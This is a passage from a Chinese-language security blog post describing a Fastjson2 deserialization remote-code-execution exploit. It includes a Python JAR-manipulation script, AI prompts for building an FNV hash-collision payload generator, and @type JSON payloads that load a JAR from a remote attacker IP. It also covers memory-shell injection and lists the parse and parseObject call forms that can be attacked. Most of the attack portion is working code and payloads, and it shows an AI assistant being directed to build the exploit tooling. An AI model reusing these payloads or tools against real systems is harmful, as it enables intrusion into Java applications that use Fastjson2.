<span class="hljs-built_in">print</span>(<span class="hljs-string">f" ✗ 原 class 条目 [<span class="hljs-subst">{original_class}</span>] 不在 JAR 中"</span>)
<span class="hljs-built_in">print</span>()
<span class="hljs-built_in">print</span>(<span class="hljs-string">" JAR 当前条目列表:"</span>)
<span class="hljs-keyword">for</span> n <span class="hljs-keyword">in</span> names:
display = n.encode(<span class="hljs-string">'utf-8'</span>, errors=<span class="hljs-string">'backslashreplace'</span>).decode(<span class="hljs-string">'utf-8'</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" <span class="hljs-subst">{display}</span>"</span>)
sys.exit(<span class="hljs-number">1</span>)
original_data = zf.read(original_class)
existing_new = new_entry_name <span class="hljs-keyword">in</span> names
<span class="hljs-keyword">except</span> zipfile.BadZipFile:
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" ✗ 不是有效的 ZIP/JAR 文件: <span class="hljs-subst">{jar_path}</span>"</span>)
sys.exit(<span class="hljs-number">1</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" ✓ 找到原条目 [<span class="hljs-subst">{original_class}</span>], 大小 <span class="hljs-subst">{<span class="hljs-built_in">len</span>(original_data)}</span> 字节"</span>)
<span class="hljs-keyword">if</span> existing_new:
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" ⚠ 新条目已存在, 将覆盖"</span>)
<span class="hljs-comment"># 创建临时文件, 复制所有条目 + 添加新条目</span>
fd, tmp_path = tempfile.mkstemp(suffix=<span class="hljs-string">'.jar'</span>)
os.close(fd)
<span class="hljs-keyword">try</span>:
<span class="hljs-built_in">print</span>()
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 写入新 JAR..."</span>)
<span class="hljs-keyword">with</span> zipfile.ZipFile(jar_path, <span class="hljs-string">'r'</span>) <span class="hljs-keyword">as</span> src:
<span class="hljs-keyword">with</span> zipfile.ZipFile(tmp_path, <span class="hljs-string">'w'</span>, zipfile.ZIP_DEFLATED) <span class="hljs-keyword">as</span> dst:
<span class="hljs-comment"># 复制所有原条目 (跳过与新条目同名的, 稍后统一写)</span>
<span class="hljs-keyword">for</span> item <span class="hljs-keyword">in</span> src.infolist():
<span class="hljs-keyword">if</span> item.filename == new_entry_name:
<span class="hljs-keyword">continue</span>
<span class="hljs-comment"># 用 ZipInfo 保留原条目的压缩方式/时间戳等元信息</span>
dst.writestr(item, src.read(item.filename))
<span class="hljs-comment"># 追加新条目 (内容复制自原 class)</span>
dst.writestr(new_entry_name, original_data)
<span class="hljs-comment"># 用临时文件替换原 JAR</span>
shutil.move(tmp_path, jar_path)
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" ✓ 已添加新条目"</span>)
<span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
<span class="hljs-keyword">if</span> os.path.exists(tmp_path):
os.unlink(tmp_path)
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" ✗ 操作失败: <span class="hljs-subst">{e}</span>"</span>)
sys.exit(<span class="hljs-number">1</span>)
<span class="hljs-comment"># 验证结果</span>
<span class="hljs-built_in">print</span>()
<span class="hljs-built_in">print</span>(<span class="hljs-string">"─"</span> * <span class="hljs-number">64</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 验证结果"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">"─"</span> * <span class="hljs-number">64</span>)
<span class="hljs-built_in">print</span>()
<span class="hljs-keyword">with</span> zipfile.ZipFile(jar_path, <span class="hljs-string">'r'</span>) <span class="hljs-keyword">as</span> zf:
names = zf.namelist()
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" JAR 条目列表 (<span class="hljs-subst">{<span class="hljs-built_in">len</span>(names)}</span> 项):"</span>)
<span class="hljs-keyword">for</span> n <span class="hljs-keyword">in</span> names:
display = n.encode(<span class="hljs-string">'utf-8'</span>, errors=<span class="hljs-string">'backslashreplace'</span>).decode(<span class="hljs-string">'utf-8'</span>)
unicode_repr = <span class="hljs-string">''</span>.join(<span class="hljs-string">'\\u{:04x}'</span>.<span class="hljs-built_in">format</span>(<span class="hljs-built_in">ord</span>(c)) <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> n)
marker = <span class="hljs-string">' ★ 新增'</span> <span class="hljs-keyword">if</span> n == new_entry_name <span class="hljs-keyword">else</span> <span class="hljs-string">''</span>
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" <span class="hljs-subst">{display}</span><span class="hljs-subst">{marker}</span>"</span>)
<span class="hljs-keyword">if</span> n == new_entry_name:
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" unicode: <span class="hljs-subst">{unicode_repr}</span>"</span>)
data = zf.read(n)
<span class="hljs-keyword">if</span> data == original_data:
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 内容校验: ✓ 与原条目一致 (<span class="hljs-subst">{<span class="hljs-built_in">len</span>(data)}</span> 字节)"</span>)
<span class="hljs-keyword">else</span>:
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 内容校验: ✗ 与原条目不一致!"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 原条目: <span class="hljs-subst">{<span class="hljs-built_in">len</span>(original_data)}</span> 字节, 新条目: <span class="hljs-subst">{<span class="hljs-built_in">len</span>(data)}</span> 字节"</span>)
<span class="hljs-built_in">print</span>()
<span class="hljs-built_in">print</span>(<span class="hljs-string">"═"</span> * <span class="hljs-number">64</span>)
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
main()
</code></pre><p>最终结果:</p>
<p><img src="https://i.ibb.co/tt96WTs/4291027d0aae.png" alt="1b89afac-0b2d-4146-b880-af329b0c4c63.png"></p>
<p>当前仅是驻留到受害机 /proc/{pid}/fd 中案例, 先使用 0kb 的文件做测试:</p>
<p><img src="https://i.ibb.co/bcxJDxb/3098f6d4aae6.png" alt="图片.png"></p>
<p>最终驻留成功.</p>
<h3>POC 调试 &amp; 攻击案例</h3>
<p>刚才的脚本仅仅是将jar 中的 class 文件名称符合传递的@type中的资源值, 若想要满足 RCE 还需要该 class 文件的内容(字节码)的类名同样带有 Unicode 编码. 此时对 AI 对我原 fastjson 1.2.83 的脚本进行说明了:</p>
<pre><code>我这里有一个项目:<span class="hljs-regexp">/Users/</span>heihu577<span class="hljs-regexp">/Desktop/</span>fastjson2<span class="hljs-regexp">/tools/</span>fastjson<span class="hljs-operator">-</span><span class="hljs-number">1.2</span>.<span class="hljs-number">83</span><span class="hljs-operator">-</span>rce<span class="hljs-operator">-</span>jar<span class="hljs-operator">-</span>generator<span class="hljs-operator">-</span><span class="hljs-number">1.0</span>.<span class="hljs-number">1</span><span class="hljs-operator">/</span><span class="hljs-type">GenJarBatch</span>.java,你可以 阅读一波 <span class="hljs-type">README</span>.md 文件之后,再看一波该 java 源码,现在我给你定义新的需求<span class="hljs-operator"></span>新增:fnv_add_unicode_file 功能,对 cmd 或
defineClass 生成的 jar 文件进行分析<span class="hljs-operator"></span><span class="hljs-number">1</span>: 分析出来 cmd 或 defineClass 生成的 jar 包,通过查看包名的形式能够定位到 fd0.<span class="hljs-type">Exception(假设生成的</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">文件是该结构,如果存在多个目录中存在</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">文件就依次进行如下操作),那么你可以通过</span> <span class="hljs-type">ASM</span> 类库或者其他手段分析包名以及类名的结构来拼接为之前案例中的: python fnv_collision.py <span class="hljs-operator">--</span><span class="hljs-keyword">prefix</span>
<span class="hljs-string">"jar:http:..2887610369:2333.Hello\!.Hello"</span> <span class="hljs-operator">-</span><span class="hljs-number">6293031534589903644</span> 中的 <span class="hljs-operator">--</span><span class="hljs-keyword">prefix</span> 部分(可能是 jar:file:.proc.<span class="hljs-keyword">self</span>.fd.数字<span class="hljs-operator">!</span>. fd 数字.<span class="hljs-type">Exception)这种结构</span><span class="hljs-operator"></span><span class="hljs-number">2</span>. 根据枚举出来的 包名类名结构,通过 python fnv_collision.py <span class="hljs-operator">--</span><span class="hljs-keyword">prefix</span> <span class="hljs-string">"jar:http:..2887610369:2333.Hello\!.Hello"</span> <span class="hljs-operator">-</span><span class="hljs-number">6293031534589903644</span> 该脚本的逻辑来进行计算(是根据逻辑,但你需要写出对应
java 模块的功能来使得与该 python 的结果一致才行),得到其后缀需要增加的 <span class="hljs-type">Unicode</span> 码部分<span class="hljs-operator"></span><span class="hljs-number">3</span>. 你已经知道了要增加什么 <span class="hljs-type">Unicode</span> 编码之后,你需要将 <span class="hljs-type">Hello</span> 类中的字节码中的类名部分进行修改(可以使用 asm 实现),修改为 “<span class="hljs-type">Hello</span><span class="hljs-operator">+</span><span class="hljs-type">Unicode</span> 值”,并且将该 <span class="hljs-keyword">class</span> <span class="hljs-title class_">文件加入到</span> jar 包中(文件名同样符合类名规律)<span class="hljs-operator"></span>整个过程全部使用 java 语言,禁止 java 中嵌套 python<span class="hljs-operator"></span>
</code></pre><p>坐等很长时间后, 又优化了一些细节:</p>
<pre><code>最后生成的 jar 包中,不是含有 class 文件吗,然后会输出:“jar:file:<span class="hljs-selector-class">.proc</span><span class="hljs-selector-class">.self</span><span class="hljs-selector-class">.fd</span>.<span class="hljs-number">256</span>!<span class="hljs-selector-class">.fd256</span>.Exception醍눲䕹ᄬ憬”,我现在想让你把每次处理完毕的结果保存到<span class="hljs-string">"result.txt"</span> 中。并且内容是:jar:file:<span class="hljs-selector-class">.proc</span><span class="hljs-selector-class">.self</span><span class="hljs-selector-class">.fd</span>.&lt;NUM&gt;!.fd&lt;NUM&gt;.Exception&lt;Unicode 编码&gt;,因为 fd 目录可能太多,然后你需要换行分割。
</code></pre><p>用于爆破时使用. 但外部 http 需要远程下载 jar 到 /proc/self/fd 中, 继续给 AI 思路:</p>
<pre><code>现在对原有的 <span class="hljs-keyword">cmd</span><span class="language-bash">/defineClass 做一个变更,就是写入 jar 文件中的 1.class 文件,为命令行中指明的 host 和 port 名称,或者整个命令行也可以。</span>
</code></pre><p>这是因为自己原编写的 fastjson 1.2.83 payload 的命令行参数存在攻击者 IP 和 PORT, 需要符合后续包名.</p>
<pre><code>让你做这一步,实际上是为了让你在 fnv_add_unicode_file 功能中增加两个需求:<span class="hljs-number">1</span>. 解析 <span class="hljs-number">1</span>.class 文件内容中的 ip 和 <span class="hljs-keyword">port</span> 部分,组合为:jar:http:..<span class="hljs-variable">&lt;IP的10进制&gt;</span>:<span class="hljs-variable">&lt;IP的端口号&gt;</span>.<span class="hljs-variable">&lt;命令行中指明的文件名&gt;</span>!.<span class="hljs-number">1</span> <span class="hljs-number">2</span>. 对组合结果进行 z3-fnv算法解方程,最后要拼接出:jar:http:..<span class="hljs-variable">&lt;IP的10进制&gt;</span>:<span class="hljs-variable">&lt;IP的端口号&gt;</span>.<span class="hljs-variable">&lt;命令行中指明的文件名&gt;</span>!.<span class="hljs-number">1</span><span class="hljs-variable">&lt;Unicode编码&gt;</span> <span class="hljs-number">3</span>. 拼接完成之后,在最终处理的 jar 包内增加这样一个真实文件,最最最后需要告诉用户首先使用该 payload 进行远程服务器下载。
</code></pre><p>最终实现效果, 先是工具提示远程拉取:</p>
<p><img src="https://i.ibb.co/Zp3xzttz/72223aeb2fcb.png" alt="573738ea-efc8-460a-99ff-ecb6eda2b69d.png"></p>
<p>随后是工具生成的 result.txt 进行爆破:</p>
<p><img src="https://i.ibb.co/cHTpXW3/5ffebf574ea5.png" alt="a822e005-77ce-4d25-a68e-51bafd390b33.png"></p>
<p>另外这里调教 AI 使用了 java 的 z3 实现解方程的效果.</p>
<h3>内存马注入</h3>
<p>先是用工具生成 jar, 生成完毕之后进行转换为 FastJson2 版本, 等待 Hash 碰撞完整 jar:</p>
<p><img src="https://i.ibb.co/twMfQfqT/881154ba7009.png" alt="7f3a91df-e50e-4da5-9517-b447f97a7be8.png"></p>
<p>最终结果:</p>
<p><img src="https://i.ibb.co/sdrrRTyF/3825801bf50c.png" alt="图片.png"></p>
<h1>其他语法</h1>
<p>参考: <a href="https://mp.weixin.qq.com/s/1niSP0dXlYql7euC5tMwPw">https://mp.weixin.qq.com/s/1niSP0dXlYql7euC5tMwPw</a> 师傅的两个姿势, 除了 JSON.parseObject 以外仍然可以通过:</p>
<pre><code><span class="hljs-built_in">JSON</span>.parseObject(可控,List.<span class="hljs-keyword">class</span>)
<span class="hljs-built_in">JSON</span>.parseObject(可控,<span class="hljs-built_in">Set</span>.<span class="hljs-keyword">class</span>)
<span class="hljs-built_in">JSON</span>.parse(可控)
</code></pre><p>进行 RCE, 简单跟一下:</p>
<pre><code><span class="hljs-title class_">String</span> <span class="hljs-variable">jsonWithType</span> <span class="hljs-operator">=</span> <span class="hljs-string">"{<span class="hljs-char escape_">\"</span>@type<span class="hljs-char escape_">\"</span>:<span class="hljs-char escape_">\"</span>jar:http:..2887610369.2333.Hello!.Hello<span class="hljs-char escape_">\\</span>u4124<span class="hljs-char escape_">\\</span>u130a<span class="hljs-char escape_">\\</span>u789a<span class="hljs-char escape_">\\</span>u4bf1<span class="hljs-char escape_">\\</span>ufcf5<span class="hljs-char escape_">\"</span>,<span class="hljs-char escape_">\"</span>name<span class="hljs-char escape_">\"</span>:<span class="hljs-char escape_">\"</span>alice<span class="hljs-char escape_">\"</span>,<span class="hljs-char escape_">\"</span>age<span class="hljs-char escape_">\"</span>:25,<span class="hljs-char escape_">\"</span>email<span class="hljs-char escape_">\"</span>:<span class="hljs-char escape_">\"</span>alice@lab.local<span class="hljs-char escape_">\"</span>}"</span>;
<span class="hljs-comment">// 不指定目标类,解析成 JSONObject</span>
<span class="hljs-title class_">Object</span> <span class="hljs-variable">obj</span> <span class="hljs-operator">=</span> <span class="hljs-variable">JSON</span>.<span class="hljs-property">parseObject</span>(<span class="hljs-variable">jsonWithType</span>, <span class="hljs-title class_">List</span>.<span class="hljs-property">class</span>);
<span class="hljs-title class_">System</span>.<span class="hljs-property">out</span>.<span class="hljs-property">println</span>(<span class="hljs-variable">obj</span>);
</code></pre><p><img src="https://i.ibb.co/mVk7zctZ/fdd5e6745113.png" alt="1eef94c8-abd1-4fa6-a96b-42e17bdde27a.png"></p>
<p>以及:</p>
<pre><code><span class="hljs-title class_">String</span> <span class="hljs-variable">jsonWithType</span> <span class="hljs-operator">=</span> <span class="hljs-string">"{<span class="hljs-char escape_">\"</span>@type<span class="hljs-char escape_">\"</span>:<span class="hljs-char escape_">\"</span>jar:http:..2887610369.2333.Hello!.Hello<span class="hljs-char escape_">\\</span>u4124<span class="hljs-char escape_">\\</span>u130a<span class="hljs-char escape_">\\</span>u789a<span class="hljs-char escape_">\\</span>u4bf1<span class="hljs-char escape_">\\</span>ufcf5<span class="hljs-char escape_">\"</span>,<span class="hljs-char escape_">\"</span>name<span class="hljs-char escape_">\"</span>:<span class="hljs-char escape_">\"</span>alice<span class="hljs-char escape_">\"</span>,<span class="hljs-char escape_">\"</span>age<span class="hljs-char escape_">\"</span>:25,<span class="hljs-char escape_">\"</span>email<span class="hljs-char escape_">\"</span>:<span class="hljs-char escape_">\"</span>alice@lab.local<span class="hljs-char escape_">\"</span>}"</span>;
<span class="hljs-comment">// 不指定目标类,解析成 JSONObject</span>
<span class="hljs-title class_">Object</span> <span class="hljs-variable">obj</span> <span class="hljs-operator">=</span> <span class="hljs-variable">JSON</span>.<span class="hljs-property">parseObject</span>(<span class="hljs-variable">jsonWithType</span>, <span class="hljs-title class_">Set</span>.<span class="hljs-property">class</span>);
</code></pre><p><img src="https://i.ibb.co/23dmfmpp/ed8a5f6df09d.png" alt="e9c10b23-f713-4caf-a5c9-ab3490792764.png"></p>
<p>以及:</p>
<pre><code><span class="hljs-title class_">String</span> <span class="hljs-variable">jsonWithType</span> <span class="hljs-operator">=</span> <span class="hljs-string">"[{<span class="hljs-char escape_">\"</span>@type<span class="hljs-char escape_">\"</span>:<span class="hljs-char escape_">\"</span>jar:http:..2887610369.2333.Hello!.Hello<span class="hljs-char escape_">\\</span>u4124<span class="hljs-char escape_">\\</span>u130a<span class="hljs-char escape_">\\</span>u789a<span class="hljs-char escape_">\\</span>u4bf1<span class="hljs-char escape_">\\</span>ufcf5<span class="hljs-char escape_">\"</span>,<span class="hljs-char escape_">\"</span>name<span class="hljs-char escape_">\"</span>:<span class="hljs-char escape_">\"</span>alice<span class="hljs-char escape_">\"</span>,<span class="hljs-char escape_">\"</span>age<span class="hljs-char escape_">\"</span>:25,<span class="hljs-char escape_">\"</span>email<span class="hljs-char escape_">\"</span>:<span class="hljs-char escape_">\"</span>alice@lab.local<span class="hljs-char escape_">\"</span>}]"</span>;
<span class="hljs-comment">// 不指定目标类,解析成 JSONObject</span>
<span class="hljs-title class_">Object</span> <span class="hljs-variable">obj</span> <span class="hljs-operator">=</span> <span class="hljs-variable">JSON</span>.<span class="hljs-property">parse</span>(<span class="hljs-variable">jsonWithType</span>);
<span class="hljs-title class_">System</span>.<span class="hljs-property">out</span>.<span class="hljs-property">println</span>(<span class="hljs-variable">obj</span>);
</code></pre><p><img src="https://i.ibb.co/1JhWNBgd/70c115ef590b.png" alt="07bf767e-feb0-4b96-89c0-7d868e03622b.png"></p>
<p>相对于 JSON.parse 来说, 多了一步选择器的操作:</p>
<p><img src="https://i.ibb.co/x8LS4Lrn/25febf05f1c0.png" alt="adf17043-6a29-4ae2-8df6-5b6c01e3029d.png"></p>
<h2>其他补充</h2>
<p>往上找一下看还有哪些语法能够调用该方法的 readObject, 查找了一番有如下类:</p>
<pre><code><span class="hljs-type">JSON</span>.parseObject(jsonWithType, Collection.<span class="hljs-keyword">class</span>);
<span class="hljs-type">JSON</span>.parseObject(jsonWithType, ArrayList.<span class="hljs-keyword">class</span>);
<span class="hljs-type">JSON</span>.parseObject(jsonWithType, HashSet.<span class="hljs-keyword">class</span>);
<span class="hljs-type">JSON</span>.parseObject(jsonWithType, Comparable.<span class="hljs-keyword">class</span>);
<span class="hljs-type">JSON</span>.parseObject(jsonWithType, <span class="hljs-keyword">Serializable</span>.<span class="hljs-keyword">class</span>);
<span class="hljs-type">JSON</span>.parseObject(jsonWithType, Cloneable.<span class="hljs-keyword">class</span>);
<span class="hljs-type">JSON</span>.parseObject(jsonWithType, Closeable.<span class="hljs-keyword">class</span>);
<span class="hljs-type">JSON</span>.parseObject(jsonWithType, <span class="hljs-keyword">Object</span>[].<span class="hljs-keyword">class</span>);
</code></pre><p>规律参考:</p>
<table>
<thead>
<tr>
<th>子类</th>
<th>类型</th>
</tr>
</thead>
<tbody>
<tr>
<td>List 系</td>
<td>Iterable, Collection, List, AbstractCollection, AbstractList, ArrayList, Stack</td>
</tr>
<tr>
<td>Queue/Deque 系</td>
<td>Queue, Deque, AbstractSequentialList, LinkedList, ConcurrentLinkedDeque, ConcurrentLinkedQueue, CopyOnWriteArrayList</td>
</tr>
<tr>
<td>Set 系</td>
<td>Set, AbstractSet, EnumSet, NavigableSet, SortedSet, ConcurrentSkipListSet, LinkedHashSet, HashSet, TreeSet</td>
</tr>
</tbody>
</table>
<p>可能还有更多 parseObject 手法可打.</p>
<h1>Ending...</h1>
</div>
</div>
<div id="dokobot-selection-box-anchor" data-dokobot-overlay="true" style="position: fixed; pointer-events: none; display: none; z-index: 2147483647; background: none transparent !important; margin: 0px !important; padding: 0px !important; border-width: medium !important; border-style: none !important; border-color: currentcolor !important; border-image: none !important; box-shadow: none !important; outline: none !important; transform: none !important; box-sizing: border-box !important; filter: none !important; backdrop-filter: none !important; opacity: 0 !important; visibility: hidden !important;"></div><div data-dokobot-ignore="true" style="position: fixed; top: 0px; left: 0px; width: 0px; height: 0px; pointer-events: none; visibility: hidden; z-index: -1;"></div><div class="mermaidTooltip" style="opacity: 0; position: absolute; text-align: center; max-width: 200px; padding: 2px; font-size: 12px; background: rgb(255, 255, 222); border: 1px solid rgb(51, 51, 51); border-radius: 2px; pointer-events: none; z-index: 100;"></div></body></html>